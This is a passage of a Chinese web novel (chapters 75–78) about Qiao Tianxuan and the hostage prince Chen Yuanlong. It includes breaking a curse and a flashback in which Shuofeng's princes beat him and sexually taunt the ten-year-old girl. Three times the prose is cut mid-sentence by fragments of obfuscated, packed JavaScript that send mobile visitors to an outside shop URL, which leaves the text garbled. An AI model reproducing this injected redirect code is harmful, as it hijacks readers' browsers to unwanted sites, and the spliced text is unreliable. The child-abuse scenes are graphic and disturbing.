乔天璇往晨曦教教徒面前的那幅画投去了目光,见那是一幅笔墨凌乱,看起来约莫画的是几只鸟在打架的画。 花蕊在晨曦教教徒的身后安慰道:“但愿你儿已经转世投胎,身子康健,不再受病痛之苦。” 晨曦教教徒垂下了头,似是在思念已故的儿子。 那些与晨曦教教徒同行的人此刻都对晨曦教教徒露出了同情的神色。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190379|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈渊龙对晨曦教教徒道:“不知你的妻子情况如何了?” 晨曦教教徒一愣,抬头看向了陈渊龙,摇头道:“还不知道,我一直收不到妻子给我的回信。” 陈渊龙道:“许是被外地人为了走出冀州杀了。” 晨曦教教徒大概是不愿相信陈渊龙所说,他依旧摇头道:“不会的,她肯定好好躲起来了。” 陈渊龙道:“你家离这里远吗?” 晨曦教教徒道:“不远,我家就在离会馆不远的地方。” 陈渊龙道:“那你先回家看看你妻子的情况罢。” “好!多谢教主关心!”晨曦教教徒连忙感激地对着陈渊龙拱了拱手,随后快步跑出了会馆。 见晨曦教教徒离开了,陈渊龙对众人道:“若是累了,大家便坐。” 那些与晨曦教教徒同行的人立马各自找凳子坐了下来。 毕竟走了三个多时辰的路才来到这里,大家的腿脚早就累了。 乔天璇步至那些墙上挂着的画前,逐幅逐幅看了过去。 陈渊龙和洛侠分别伴在乔天璇左右两边,与她一起看了一遍墙上挂着的画。 花蕊、祝源、四侠行客则坐到了一桌,望着在看画的陈渊龙、乔天璇、洛侠三人。 乔天璇接连看了十几幅内容各异的画,试探道:“画这些画的孩子们还有活着的吗?” 陈渊龙沉重道:“有的死了,有的还活着。死了的几乎都是病死的,但发生了这样的事情,之前还活着现在也不知生死了。” 确实,若是身为晨曦教教徒的父母被外地人杀了,那么他们的孩子想要好好活下去就很困难了。 乔天璇不禁感慨:“真是苦啊,二皇子也是不干人事。若是他不来这么一下,不少孩子许是还能好好活着的。” “他是该被罚,而且得重罚。”陈渊龙大概是想到了陈玄,眼中寒意直冒,尽是杀意。 看完了墙上所有的画,三人坐到了祝源他们坐的那一桌。 休息了许久,外面的天色逐渐开始发暗了。 那个回家查看妻子情况了的晨曦教教徒迟迟不见回来。 也许他的妻子的确已经殒命,又或许他遇上了别的情况。 可那些与晨曦教教徒同行的人却丝毫不见慌张。 想必他们都是因为做生意而在一条船上萍水相逢的人,并不会真的关心彼此。而且即便跑了一个晨曦教教徒,但晨曦教教主还在这儿,他们若是想出冀州,只要杀了晨曦教教主便万事大吉了。现在就看晨曦教教主愿不愿意放弃“祈福”,如果愿意,那杀都不用杀了,所有外地人即刻就能随意出入冀州,不必再被迫去杀任何一个晨曦教教徒。 乔天璇对坐在身旁陈渊龙道:“晨曦教教主,据点你已经来看了,现在做好强行解除巫人的‘祈福’的准备了吗?” 陈渊龙看着乔天璇点了点头,道:“准备好了。” 乔天璇把手掌覆到了陈渊龙的心口上,道:“不知你会因强行解除了‘祈福’而失去什么,但这是目前来看唯一最好的解决办法了。” 下一刻,乔天璇闭上双眼集中精力,用了近乎九成的灵力才强行拔除了陈渊龙体内的那根“线”。 顿时,陈渊龙整个人都冒出了红光。 随即,乔天璇手掌猛地离开了陈渊龙的心口。 霎时间,乔天璇耳边响起了无数的“线”接连不断绷断开的声音。 “成功了。”乔天璇缓缓睁开了双眼,却见自己已经不在陈渊龙的面前,也不在傅陵会馆中了。 乔天璇心中一慌,赶忙往四周望了望。 眼前的地方很是眼熟。 这是……东莱的风云客栈! 自己竟是回到风云客栈里了?! 此刻,风云客栈的大堂坐了许多吃晚饭的客人,吵吵闹闹的。 可乔天璇一时间却感觉自己仿佛听不到这些吵闹的说话声了一样。 她的心砰砰狂跳着,一种难以言喻的心情如喷涌的泉水般涌上心头。 这么说来,陈渊龙因强行解除了“祈福”而失去的是她乔天璇这个人! 她直接从陈渊龙的面前凭空消失,来到了风云客栈! 那此时还在傅陵会馆中的洛侠、花蕊、祝源、四侠行客他们会不会因为她的突然消失而慌乱? 然而,不等乔天璇平复心绪和多想些什么,她便忽地感到一阵强烈的困意袭来。 不好,灵力一下子用了太多……而且,自己的心……莫名地跳得好快…… 乔天璇浑身无力不受控制地趴倒在了桌子上,沉沉昏睡了过去。 76. 朔风之难(一) 在朔风国给身为质子的陈渊龙当贴身侍女就跟做噩梦一般。 乔天璇虽然心中不愿,但她难以抗拒皇上的命令。 在与陈渊龙坐上去往朔风国的马车时,乔天璇整个人还是懵的。 她不相信。 她怎敢相信? 淮南乔氏刚被灭门,她便被陈渊龙强行带去了另一个陌生的国家当他的贴身侍女。 未来将要面对什么,乔天璇完全想象不到。她只知道去往朔风国的这一路马车颠簸不停,晃得她心慌。 朔风国,一个位于九宸国西北方的国家。越往朔风国的方向走,迎面吹来的风就越燥,周围的一切也越荒凉。 连夜被送到了朔风国的陈渊龙和乔天璇被安排住在最破败的宫殿里。 这地方与陈渊龙原先住的太子寝宫根本没得比,又小又破,经年遭风狂吹的外墙已经十分斑驳,内里的物件也老旧而残破,一把椅子坐上去后嘎吱响个不停。榻虽然不小,能够躺三个人,但脏兮兮的,上面还留有陈年的污垢。 乔天璇和陈渊龙费了整整三日时间才把榻上的污垢给彻底清理掉。 而这三日,乔天璇和陈渊龙都是打地铺睡的。 可这仅仅只是开始,接下来的日子才是真的令人难以忍受。 质子的身份让陈渊龙在朔风国的皇宫中与犯人无异,这意味着陈渊龙在朔风国的待遇便是牢中犯人的待遇。两个人每天的吃食只有两顿,一早一晚,每顿每人只有一个馒头和一碗稀饭。此菜式雷打不动日日如此,吃得乔天璇嘴里毫无滋味。 十二岁的陈渊龙和十岁的乔天璇每日光吃这些东西根本就吃不饱。 奈何朔风国本就比九宸国要贫瘠许多,他们所住宫殿外的院子里连杂草都不生,就是想吃草来充饥都成了奢望。 两个人有时候实在是饿得受不了就直接睡觉,这样起码能感觉不到饿。 可睡着睡着突然被饿醒也是常有的事。 饿醒了的陈渊龙十分沉默,他总是会盘腿面对着起皮的灰墙,一言不发。 乔天璇则无力地靠坐在对面的墙上,看着盘腿面对着墙的陈渊龙,心中恨他为何要她当他的贴身侍女,带着她一起来朔风国受苦。 当初自己还不如一死了之。 因欺君之罪被处死,现在想来还蛮刺激的。 自己可是连续骗了他们四年多时间才被发现。 要不是淮南乔氏被灭门,萧芯荷这个多嘴的混蛋后母为了保命,把自己被迫顶替乔天飞后女扮男装给太子伴读的秘密给说了出来,自己估计还能一直骗下去,直到给太子伴读的五年时间结束。 然而,萧芯荷即便说了这个秘密也没能保住性命,还连累了自己,让自己落得个现在这样苦得想要寻死的下场。 不过自己现在要是真的死了,不晓得陈渊龙饿极了会不会吃自己的尸体来充饥。 那可太恶心了,乔天璇光是想想就觉得反胃和不甘。 再说了,就算陈渊龙不吃自己的尸体来充饥,也不知朔风国人会拿自己的尸体来做什么不体面的事情。 死得毫无尊严,甚至丢尽脸面,乔天璇才不要这样。 她恶狠狠地盯着背对着她,像是在面壁思过一样的陈渊龙。 恨死他了,陈渊龙……恨死他了……恨死他了……恨死他了…… 饥饿会让人感觉时间过得尤其缓慢,只有对陈渊龙的恨能暂时让乔天璇不去注意自己那饿得咕咕直叫的肚子。 恨着恨着,乔天璇渐渐感到麻木了。 毕竟一直恨一个人是会心累的,更何况像她这样持续不断,连绵不绝的恨。 可她根本控制不住自己,即便麻木,她也恨他。 但很快,朔风国那三个皇子对陈渊龙做的事情就让乔天璇对陈渊龙的同情多过了恨。 朔风国的皇子有三个,身为太子的大皇子穆耶颌比陈渊龙大五岁,二皇子穆泽比陈渊龙大三岁,三皇子穆昌比陈渊龙小两岁。他们最是喜欢换着法子踢打折磨陈渊龙,常常打得陈渊龙浑身是伤,连走路都变得一瘸一拐了。 乔天璇第一次见陈渊龙被朔风国皇子三兄弟暴打辱骂的画面是在一个云淡风轻的傍晚。 当时,天空中飞过几只鸣叫着的大鸟,寂静的宫殿中只有乔天璇干活时发出的喘息声。 乔天璇从院中的石井里打上来了一桶水,准备和陈渊龙一同洗洗脸就睡觉休息。 突然,朔风国皇子三兄弟像三匹恶狼一样踢开了又薄又烂的院门,大步跨进了院子里,对着石井旁边的乔天璇猥琐地笑着,齐齐朝乔天璇用力拱了拱他们的下身。 乔天璇当即愣在原地,脑袋像是要炸开来一般。 这仨哪儿像是皇宫中恭而有礼的皇子?这分明就是街头流氓混混的做派! “你们在作甚?!”陈渊龙愤怒至极的语气从朔风国皇子三兄弟身后传来。 朔风国皇子三兄弟一愣,随即一同转身面向了陈渊龙。 穆耶颌调笑道:“哟,这不是九宸国的太子嘛?你我同为太子,怎么你就比我瘦那么多啊?哈哈哈哈小竹竿子!” 乔天璇心中不禁暗骂:“还不是因为你们这些朔风国的混账给的伙食太差劲了?简直比狗食还不如,一点儿荤腥都没有,能长肉才怪。” 穆泽语气猥琐道:“哟呵,小竹竿子生什么气啊?你的小侍女迟早都是我们的!只不过她现在年纪太小了,玩起来不得劲儿。等五六年后她变成丰臀细腰大美妞儿了……哎哟哈哈哈哈哈哈!” 穆昌虽然比陈渊龙的年纪还小,但他也附和着他的两个哥哥道:“就是,我们调戏调戏她怎么了?你身为质子,有什么资格有意见?” 陈渊龙一双黑眸气得直颤,怒道:“不许辱她!” “不许辱她?”穆耶颌大步走到了陈渊龙跟前,居高临下看着陈渊龙,意味深长道:“行啊,不辱她也行,那就辱你吧,小竹竿子。” 说罢,穆耶颌将陈渊龙像拎小鸡仔那样一把拎了起来。 十七岁的穆耶颌比十二岁的陈渊龙高出了整整一大截,他晃了晃手中拎着的陈渊龙,忽地一甩手,陈渊龙便如沙包一样被狠狠摔在了院子角落里的一堆稻草上。 穆泽快步走到了陷在稻草里的陈渊龙身前,不等陈渊龙从稻草里爬起身便对着陈渊龙一顿拳打脚踢。 穆昌看得兴奋,赶忙跑到了陈渊龙身边,趁机踢了他好几脚,边踢还边骂道:“垃圾!废物!竹竿子!狗玩意儿!” 穆耶颌大摇大摆步至陈渊龙身前,看着正在挨自己两个弟弟暴打的陈渊龙,饶有兴致道:“小竹竿子,感觉如何?被辱得爽不爽?” 陈渊龙抱着头,整个人蜷缩在稻草中,忍着接连不断的踢打,愣是一声都不吭。 穆耶颌不悦道:“说话!” 陈渊龙依旧毫不理会穆耶颌。 “你没长嘴吗?!”穆耶颌猛地踹了一脚陈渊龙的屁股。 陈渊龙疼得忍不住叫了一声,声音里带着哭腔。 “这不是能发出惨叫声嘛,忍什么啊?有什么好忍的?叫!!!”穆耶颌猛地又踹了陈渊龙的屁股一脚。 “呜呃啊!” 陈渊龙再次忍不住疼得叫出声来。 穆耶颌得意道:“哇!小竹竿子又叫了!哈哈哈哈哈哈哈叫了!叫了!哈哈哈哈哈哈哈哈哈……” 穆泽和穆昌在穆耶颌猖狂的笑声中加大了对陈渊龙拳打脚踢的力度。 陈渊龙不堪忍受的沉闷呜咽声在朔风国皇子三兄弟的暴揍下断断续续传出,像极了一只被三头恶豹围攻的无助小狼狗。 乔天璇在井边看着眼前的画面,虽然觉得自己所恨的陈渊龙终于被人揍了,心情似乎顺畅了不少,但心底其实还是有些难受的。 毕竟陈渊龙是因为朔风国皇子三兄弟辱了她而质问他们才遭到暴打的,若方才陈渊龙没有来质问他们仨,任由他们仨调戏侮辱她,或许就不会遭到这一顿打骂了。 天色渐暗,朔风国皇子三兄弟许是觉得也该回自己的宫殿去了,便停止了对陈渊龙的打骂,纷纷对着陈渊龙啐了一口,随后头也不回地走出了院门,离开了院子。 等那三人的脚步声远去时,乔天璇才敢走到院门前,关上了两扇又薄又烂的门。 “呃……呜呃……呜呃呃……呜呜……” 院子角落的那堆稻草处传来陈渊龙痛苦的呻吟。 乔天璇忍不住上前去查看陈渊龙的情况。 只见陈渊龙浑身上下被打得青一块紫一块,不少地方破了皮流着血,伤痕累累,惨不忍睹。 乔天璇清楚陈渊龙还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195872|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在九宸国那会儿前段时间才被皇上新立的皇后潘氏打出了不少伤。现在旧伤新伤叠在一起,他定然痛极了。 “呃嗯……哈啊……呜呃呜呜呃……呜呜呜呃……” 陈渊龙浑身发着抖,双眼无神。可他又实在是生得好看,清冷苍白的脸庞上淌着血,仿佛是完美无瑕的白玉被歹人恶意泼上了红色的染料,令人情不自禁想要去为其擦拭。 乔天璇之前还从未见过这个样子的陈渊龙,现在看到他这般凄凄惨惨,心中莫名涌起了一股奇异的快感。 但出于一丝善意,乔天璇还是小心翼翼地向陈渊龙问道:“太子殿下,你……还好吗?” 陈渊龙缓缓睁开了双眼,偏头看向了乔天璇,有气无力道:“我……扶我回房……” 作为陈渊龙的贴身侍女,乔天璇自然伸手去扶。 陈渊龙稍微打起了一点精神,像是在绝境中拉住了一根救命稻草似的拉起了乔天璇伸向他的手。 乔天璇发觉此刻的陈渊龙身子很沉,简直像是一块大石头。 陈渊龙紧紧拉着乔天璇的手,挣扎着从他所躺的稻草上站起了身,脚下往前走的步子一瘸一拐,边走还边痛苦地闷哼着,许是他一动,伤口便被牵扯到了。 “慢点走。”乔天璇改拉手为搀扶,有点担心陈渊龙会不会就这么死了。 如果陈渊龙死了,那她这个陈渊龙的贴身侍女的下场肯定也不会好到哪里去,怕是会生不如死。 不管她怎么恨陈渊龙,怎么想陈渊龙被揍,但陈渊龙的命还是要保住的,要不然她的命也会保不住。 现在他们两个人就像是拴在一根线上的两只蚂蚱。说到底,他们必须得互相扶持才能把接下来的路给走下去。 乔天璇小心翼翼地把陈渊龙搀扶回了宫殿中,让他躺到了榻上。 “太子殿下?”乔天璇见陈渊龙这一刻就像一具尸体一样,闭着双眼,连呼吸的起伏都弱得快要看不见了,心头不由得一紧。 陈渊龙喃喃道:“我没事,你帮我……擦擦血吧……” “好,我去拿毛巾和水。”乔天璇赶忙回到院中的井旁,把刚刚打上来的一桶水提到了榻边,又拿了陈渊龙的毛巾来,给陈渊龙脱下衣衫后轻轻擦拭着陈渊龙脸上身上各处的血迹,简单处理着他身上的每一处伤口。 天色很快就彻底暗了下来。 朔风国的这些混蛋并没有给他们提供灯烛或蜡烛,乔天璇只能一只手燃着灵火照明,另一只手继续给陈渊龙擦身子和处理伤口。 以往他们都是在天黑之前就睡觉休息的,并不需要什么照明。陈渊龙还未见过乔天璇手掌心中如此长久地燃着一缕火苗,不禁疑惑道:“你会法术?” 乔天璇道:“我天生灵力,这是用灵力凝成的火。” 陈渊龙道:“那这就是……灵火。” 乔天璇道:“对。” 陈渊龙回忆道:“我想起来了,你很久之前……还在我的书阁里……除过恶灵。你的确是有灵力的人。” “……” 乔天璇简单处理完了陈渊龙所有的伤口,把泡着用来擦血的毛巾的水桶移到了不会被下榻时踢到的地方。随后熄灭了手掌心中的灵火,也上榻躺了下来。 燃起灵火耗费了乔天璇不少灵力,她没吃什么食物,本来体力就不太够,灵力就更难以发挥出来了。方才燃了那么久的灵火已经到了她的极限,要是再不休息,她的身子也快要扛不住了。 “睡吧,太子殿下。好好休息一晚,伤口应该能愈合一些。”乔天璇躺在了陈渊龙的身旁,在他耳边轻声呢喃着。 这还是乔天璇第一次在夜晚睡觉时与陈渊龙挨得那么近。 榻虽然大得能睡三个人,但乔天璇之前由于对陈渊龙浓烈的恨意,她都是和陈渊龙隔着一个人的位置睡的。 现在她要时刻感受陈渊龙的气息,以防陈渊龙的伤势突然恶化,气息不稳,那她便马上用灵力帮他恢复,以此来确保他不会死。 没有药物,就只能用灵力了。 还好,还有灵力可用。 陈渊龙只有不死,她乔天璇才能在朔风国有勉强好好活着的资格。 “……嗯,好。”陈渊龙答应着,本来正着躺着的头似是往乔天璇这边侧了侧,两人的呼吸交织在了一起。 77. 朔风之难(二) 天刚明时,乔天璇就被饿醒了。 她看着身旁还在沉睡中的陈渊龙脸色唇色都十分苍白,情况似乎不太妙。 不过陈渊龙身上各处的伤口基本上已经结痂,开始慢慢好转了。 乔天璇摸了一下陈渊龙的额头,见他并未发烧,稍微松了一口气。 待听到来送饭的宫女把两份馒头稀饭放到了宫殿门口旁的声音后,乔天璇下榻出门去将两份早饭端回了房中的桌子上。 陈渊龙还没有醒,乔天璇便先吃起了自己的那一份早饭。 一个馒头和一碗稀饭在一个极度饥饿的人手中被吞下肚也就不到半刻钟的时间。 吃完早饭,乔天璇靠到了宫殿的门框上,仰头望着蔚蓝的天空中时不时飞过的几只鸟发呆。 如果有弓箭,乔天璇会毫不犹豫地射一只鸟下来改善伙食。 可惜的是两人身上所有带着攻击性的东西全都被收走了,包括陈渊龙的剑和乔天璇的符。 剑和符被齐齐扔进了火里,剑彻底报废,符灰飞烟灭,而且还是当着陈渊龙和乔天璇的面毁掉的。 乔天璇倒是无所谓,符没了就没了,若是有黄纸了,她还可以再画。 但陈渊龙的剑跟了陈渊龙许多年,他就这么眼睁睁地看着剑废在自己的眼前,愤怒却无可奈何。 身为质子,便是寄人篱下,得看别人的脸色活着。陈渊龙清楚自己的一举一动都关乎着九宸国的安危、存亡。他只能忍,只能妥协。哪怕是被暴打了,也只能自认倒霉。 大概过了半个时辰后,陈渊龙缓缓醒来,转头看向了靠在门框上的乔天璇,道:“天璇?” 听到声音,乔天璇立马转身走向了桌子,端起桌上陈渊龙的那一份早饭来到了榻前,道:“吃早饭了,太子殿下。” “好。”陈渊龙小心翼翼地坐起身,在乔天璇来到榻前之前用衣衫盖住了自己的下半身。 朔风国现在虽然不冷,但这会儿是白天,什么都能看得清清楚楚,不像昨夜那样就算啥都不穿,乔天璇若是不用灵火照明便什么都看不到。 乔天璇将盛着早饭的托盘放到了榻上,心想昨夜自己一只手托着灵火照明,另一只手帮陈渊龙擦血和处理伤口时都已经把他给看光了,他现在倒是才知道害羞。 不过说实话,陈渊龙即便已经瘦得见骨,两颊凹陷,但他的脸上却没有丝毫寒酸之意,反而添了一份坚毅。 陈渊龙拿起那碗已经凉了的稀饭喝了几口,随后拿起稀饭旁边放着的馒头啃了起来。 此时,清晨的几缕阳光透过窗户落在了榻上。 陈渊龙因伤未穿衣的消瘦身躯被阳光照得愈发亮白,伤也让人看得更加清晰。 结痂的伤口呈红色,但有的痂还处于没完全结好的状态,若是再遭到击打,肯定立马又会渗出血来。 乔天璇忍不住道:“太子殿下,你的伤感觉怎么样了?” 陈渊龙咽下口中的馒头,淡淡道:“无事。” 行,他说无事便无事吧。 乔天璇没有多想,坐到了榻上的另一边,望着门外的院子,并不看一旁吃早饭的陈渊龙。 陈渊龙虽然有伤在身,吃得比乔天璇慢,但也没吃多长时间就把早饭给吃完了。 毕竟一个馒头和一碗稀饭的分量对十岁的乔天璇来说都没多少,那对十二岁的陈渊龙来说就更没多少了。 乔天璇端着陈渊龙吃完了食物的托盘放到了桌子上。再一转身,见陈渊龙已经在把衣服给披上了身。 乔天璇回到榻上坐下,百般聊赖道:“太子殿下,我给你的伤施了灵力,好得会比较快……” “多谢。”陈渊龙抬手看了看自己手臂上已经结痂的伤口。 “我不是要你谢我。”乔天璇方才的话还没说完,继续道:“我担心那些朔风国的皇子要是再来时,见你的伤好得太快,会起疑心。又或者他们没起疑心,但觉得你的伤既然好得快,那就打你打得更狠。” “那该如何是好?”陈渊龙看着两眼望着门外的院子的乔天璇,有些为难。 “我本来打算休息了一晚,今日灵力恢复了一些,便再给你的伤施一些灵力。但我想到了方才我说的那些想法,就觉得还是让伤顺其自然好吧。”乔天璇看向了陈渊龙,发现陈渊龙与自己对视的眼神有些疲惫。 “好,那就顺其自然。”陈渊龙平静地点了点头。 乔天璇懒得再跟陈渊龙废话,而且陈渊龙看起来很疲倦,似是没有休息够,便劝道:“太子殿下,你还是躺下休息吧。” “嗯。”陈渊龙倒也听话,在把衣服穿好之后就躺了下来。 见陈渊龙躺下了,乔天璇也躺到了榻上,与陈渊龙中间隔了一个人的位置。 在寄人篱下的质子身旁当贴身侍女,乔天璇的心情本就烦闷。再加上吃不饱住不好,她此刻什么都不想做,只想放空自己无所事事地躺着。 宫殿中安静得只剩下微风拂来的声音。 数不清的微尘在一缕缕阳光中飞舞,漫无目的,风把它们吹往哪儿,它们就舞到哪儿。即便落了地,也会由于太过轻而重新飞舞到空中,甚至能飞到比原先更高的地方。 天边传来的鸟鸣声接连不断,有的近,有的远,虽然能感受得到鸟雀很多,但这些声音无不透露着一种莫名的荒凉之意。这种感觉就像现在两人所在的这个地方虽然说是宫殿,但实际上就是个老旧破房子,徒有宫殿的称呼罢了。 正当乔天璇放空思绪,躺得快要睡着了时,外面突然传来一声院门被用力踹开的声音。 顿时,乔天璇和陈渊龙都惊得坐起了身。 穆耶颌得瑟的声音忽地响起:“小竹竿子,感觉如何了?” 穆泽道:“是啊!回答我们!” 穆昌道:“就是就是!说话!” 话音刚落,朔风国皇子三兄弟就来到了房门前。 陈渊龙偏头瞟着朔风国皇子三兄弟,不悦道:“不如何。” “哟,不如何?”穆耶颌几步来到了榻前,分别看了一眼陈渊龙和乔天璇,眯眼一笑,道:“既然觉得不如何,那定是被打得还不够爽。” 闻言,乔天璇心中一沉。 此话一出,陈渊龙肯定又有他不好受的了。 果然,穆耶颌猛地一揪陈渊龙的衣襟,另一只手狠狠扇了陈渊龙一巴掌。 随即,穆耶颌不由分说地将瘦弱的陈渊龙一把拽下了榻,拽出了房门,拽到了院子里。 穆昌洋洋得意地看了榻上的乔天璇一眼,道:“小侍女,你的太子殿下要惨咯!” 穆泽从怀里掏出一块饴糖抛到了乔天璇的面前,笑盈盈道:“别饿晕了,小美人儿。吃哥哥给你的糖,哥哥对你好。” 乔天璇哪儿敢吃穆泽给自己的糖,万一这糖被下了药,自己吃了可就完蛋了。 “呃啊……啊!呃嗯……啊!” 院子里传来陈渊龙痛苦的惨叫声,穆泽和穆昌都不再管乔天璇,转身跑出了房门,来到院子里和穆耶颌一起暴打陈渊龙。 乔天璇大气都不敢出。 方才穆泽看自己的眼神就像在看待宰的猎物,实在是让乔天璇感到难受和恶心。现下他们离开了,乔天璇就跟如释重负一般,一时间连动一下似乎都很费力气。 拳打脚踢的声音大概持续了半刻钟,声音越到后面就越弱。朔风国皇子三兄弟估计是打累了,他们把陈渊龙扔在院子里后便出了院门扬长而去。 乔天璇下榻来到了院子里,看到陈渊龙血迹斑斑地躺在地上,像具尸体一样。 她连忙赶到了陈渊龙的身旁,蹲下身子探了探陈渊龙的鼻息,发现陈渊龙还有呼吸,稍微松了一口气,试探道:“太子殿下,你还好吗?” “痛……” 陈渊龙有气无力地呼出了一个颤抖着的字。 “等着,我去拿毛巾和水来给你擦血。”乔天璇赶紧来到石井边打了一桶水放到了陈渊龙的身边,随后又回房中把陈渊龙的毛巾拿了出来。 看着眼前奄奄一息,宛如一块满是疮痍的白玉般的陈渊龙,乔天璇心底暗暗涌起了一丝克制不住的快意。可她一想到方才穆泽对自己说的话和他给自己抛糖的动作,厌恶的情绪便猛然上涌,陈渊龙身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199762|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被朔风国皇子三兄弟揍出来的伤也变得格外刺眼。 她像昨日那样,在给陈渊龙擦好脸上的血迹之后又帮陈渊龙脱了上衣,开始擦他上身的血迹。 “呃嗯……” 陈渊龙忍不住痛出声来,眉头紧蹙,神色难耐,喘息不止。 乔天璇洗毛巾和拧毛巾时发出淅淅沥沥的的水声,在安静的院子里显得尤其响亮。 然而,不等乔天璇把陈渊龙上半身的血迹给擦干净,朔风国皇子三兄弟就带着一众宫卫回了来。 这些宫卫全都抱着一手的砖头。 穆耶颌一声令下,宫卫们便开始把手中的砖头堆到了院子里的一面墙前。 “你们这是要干嘛?”乔天璇不解地看着不停地在墙前堆砖头的宫卫。 穆耶颌居高临下望向了在给陈渊龙擦血的乔天璇,乐道:“我们当然是怕你无聊,所以在费心思给你找乐子啊。” “找乐子?”乔天璇满脸疑惑。 穆泽神神秘秘道:“小美人儿,待会儿你就知道是什么乐子了。我们给你找的这个乐子可好玩儿了,你一定会喜欢得从早玩到晚的!说不定还会嫌一日的时间短,根本没玩儿够呢!” 自方才穆泽说着那般恶心的话给乔天璇抛糖之后,乔天璇现在一看到穆泽就直犯恶心。 她不再抬头看朔风国皇子三兄弟,也不再管那些宫卫一个劲儿往院子里的一面墙前堆砖,低头继续给陈渊龙擦血。 “怎么不理我们了?”穆昌直直盯着乔天璇。 “看来小竹竿子在他的小侍女眼里重要得很啊。”穆耶颌慢悠悠地走近了乔天璇。 许是感觉到了穆耶颌走近来的脚步声,陈渊龙忽地奋力挣扎了一下,似是想起身挡在乔天璇的面前。 可陈渊龙这一挣扎,他身上的一些伤口就开始往外渗血,鲜红色的血珠如花开一般在他白皙的身上绽放。 “呀嘿?还能动啊?”穆耶颌已经步至陈渊龙身前。他用鞋尖轻轻碰了碰陈渊龙的脸,似乎还带着点嫌弃的意味。 陈渊龙呼吸骤热猛烈起来。 乔天璇能感觉得到陈渊龙气到了极点。 不难理解,一个国家的太子被敌国的太子暴揍之后瘫在地上,还被敌国太子用鞋尖碰脸,就跟在碰一只遭人嫌的死狗一样,这已经是极伤自尊心且极其侮辱人的动作了,又怎会不令人生气? “哈哈哈哈哈哈……气还挺大,吹得好有劲儿啊!”穆耶颌饶有兴致地瞟着鞋尖前的陈渊龙。 “不要……欺人太甚……”陈渊龙颤抖地说着,嘴角淌出血来,流到了地上。 穆耶颌故作委屈道:“我们哪里欺人太甚了?嗯?哪里啊?没有啊?我们这是在逗你玩儿呢,小竹竿子,你和你的小侍女整日在我们朔风国的皇宫中白吃白喝白住,现在我们还怕你们太无聊,闲得慌,就来给你们找找乐子解解闷,你可别不识好歹倒打一钉耙冤枉我们啊。” “呸!”乔天璇听得窝火,忍不住啐在了穆耶颌的鞋上。 “你!你……”穆耶颌震惊地看着自己被乔天璇啐了一口的鞋,怒道:“死丫头,你找死?!” 穆泽赶忙上前来劝道:“哎呀皇兄别生气嘛,小美人儿啐一口香香水帮你洗鞋我可是羡慕都来不及呢。” 说罢,穆泽凑到了乔天璇身旁,蹲下身子,油腔滑调道:“来,小美人儿,你也香我一口!” 乔天璇被穆泽说的话和动作给狠狠恶心到了,当即转头不看穆泽。 “哎呀小美人儿别生气呀!”穆泽见乔天璇不看他,他就跟狗皮膏药一样贴到了乔天璇耳边,色迷迷道:“小美人儿,你知不知道你生气的样子可爱得紧?我之前还从未见过你这般搞得我心直痒痒的女孩儿,我可真想也来你这儿和你住一晚,与你睡同一张榻呢!对了,我就睡在你和你的太子殿下的中间,我要当着你的太子殿下的面与你翻云覆雨!搞得你神色恍惚,情迷意乱!” “噗咳咳……呃咳咳咳……” 陈渊龙猛然咳血不止,凤眸圆睁,双眼中爬满了血丝,气愤得浑身颤抖不止,双拳紧握,手臂青筋暴起。 78. 朔风之难(三) 见到陈渊龙这副模样,穆耶颌不屑道:“死狗,还在回光返照呢?” 穆泽得意道:“想来是我说的话刺激到他了,他不甘心呢。” 陈渊龙不知是从哪里来的力气,奋力想要起身,却被穆耶颌一脚踩住了背,嘲笑道:“好好瘫在地上吧!” “就是!别想再起来了!”穆昌也走到了陈渊龙的身旁,一脸幸灾乐祸地看着陈渊龙。 陈渊龙双目通红,牙齿咬得“咯咯”直响。 此时,搬砖的宫卫们都已经把手中的砖堆到了墙前。 领头的一个宫卫快步来到穆耶颌的身旁,道:“太子殿下,砖都已经堆好了。” “好,很好,那这乐子便即刻开始吧。”穆耶颌一挥手,后面一众宫卫中的其中几个宫卫便齐齐赶到了陈渊龙的身前,不由分说地把陈渊龙从乔天璇的眼皮子底下强行拉起抬走。 陈渊龙猝不及防被几个人抬了起来,整个人悬在空中,脚不着地,顿时惊得猛地挣扎了几下。 “喂!你们要对他干嘛?!”乔天璇哪儿能料到穆耶颌会突然让人把陈渊龙给硬生生抬走?当即站起身要去追。 穆耶颌立马伸手挡在了乔天璇的面前,意味深长道:“小侍女,既然是要找乐子,那就得先清楚找乐子的规矩才行啊。” “我管你什么规矩不规矩的!我也不想找什么乐子!”乔天璇抬头恶狠狠地瞪着穆耶颌,咬牙切齿道:“哼,乐子?分明就是你们想找罢了!可别想把这无聊的想法强行安到我的身上来!” 穆耶颌眼中一怒,忽地猛拍了一下乔天璇的胸口。 “呃唔……” 